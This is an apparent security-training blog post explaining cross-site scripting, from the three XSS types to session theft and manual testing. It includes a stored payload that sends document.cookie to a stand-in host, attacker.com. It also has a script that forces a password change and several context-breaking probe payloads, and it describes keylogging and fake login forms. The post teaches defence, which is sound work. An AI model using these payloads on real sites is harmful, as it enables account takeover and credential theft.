← Blog
Web Security2026-04-0511 min read

XSS: From alert(1) to Session Hijack

Cross-site scripting isn't just a pop-up trick. In the right hands it's a full account takeover. This is how attackers weaponise it — and what actually stops it.

The classic XSS demo is <script>alert(1)</script>. A pop-up appears. The crowd goes wild. Then everyone moves on thinking it's a party trick.

It's not. XSS is JavaScript executing in a victim's browser in the context of a trusted site. That means it has access to everything the page has access to — cookies, localStorage, the DOM, form inputs, the user's session. The alert is just proof it ran. What you do next is up to you.

The three types and when they matter

Reflected XSS — your payload is in the URL, the server echoes it back in the response, the victim clicks a crafted link. Requires social engineering. Lower severity.

Stored XSS — your payload is saved in the database (a comment, a username, a profile bio) and served to anyone who views it. No social engineering. Everyone who loads that page gets hit. This is the dangerous one.

DOM-based XSS — the vulnerability lives entirely in the client-side JavaScript. The server never sees the payload. Harder to find, harder to patch.

From alert(1) to stealing a session cookie

Here's a stored XSS payload that does something real. You post this as a comment:

<script>
  fetch('https://attacker.com/steal?c=' + document.cookie)
</script>

Every user who loads the comments page silently makes a request to your server with their session cookie in the URL. You grab the cookie, set it in your browser, and you're authenticated as them. No password needed. No 2FA bypass needed. The session is theirs.

The only defence is if the cookie has the HttpOnlyflag — which prevents JavaScript from reading it. A surprising number of applications still don't set it.

When HttpOnly is set: going around it

If you can't steal the cookie directly, you can still abuse the session. The JavaScript running on the page can make authenticated requests on behalf of the user — the browser sends the cookie automatically, you just trigger the action.

<script>
  // Force a password change to one you control
  fetch('/account/password', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'new_password=hacked123&confirm=hacked123'
  });
</script>

This is a CSRF attack via XSS. It bypasses CSRF tokens because the JavaScript can first read the token from the page DOM, then include it in the request.

Keylogging, form hijacking, phishing in-page

With XSS you can also inject a keylogger that captures everything typed on the page and sends it to your server. Or replace a login form with your own version that looks identical but submits credentials to you. Or inject a fake "session expired" modal that prompts for re-authentication.

The victim is on the legitimate site. Their browser shows the real URL. The padlock is green. They have no reason not to trust it.

XSS is a remote code execution vulnerability for the browser. The JS sandbox prevents OS-level access, but within the browser context — sessions, credentials, actions, surveillance — almost everything is reachable.

What actually prevents it

The common mistake is thinking you can filter for <script>tags. You can't enumerate all the ways JavaScript can execute. <img src=x onerror=alert(1)>,<svg onload=alert(1)>, javascript:URLs in hrefs — the bypass list is effectively infinite. Encode at output. Don't filter at input.

How to find XSS manually

Inject a unique string into every input that gets reflected — search boxes, profile fields, URL parameters, HTTP headers if they're displayed. Then look in the HTML source for where your string appears and what context it's in.

In a tag attribute: try " onmouseover="alert(1)
In a script block: try ';alert(1)//
In HTML context: try <img src=x onerror=alert(1)>

Context determines payload. That's the skill — reading the HTML and understanding where your input lands.

// Practice this

Everything in this post has a live lab on hackr.gg. Spin up a vulnerable machine and exploit it yourself — no setup, no VPN, runs in your browser.

Open XSS Fundamentals course
More posts
Web Security
SQL Injection: How One Quote Character Breaks a Database
9 min
Career
How to Start Bug Bounty With Zero Experience (Realistic Guide)
14 min
Web Security
IDOR: The Vulnerability That Keeps Making Headlines
8 min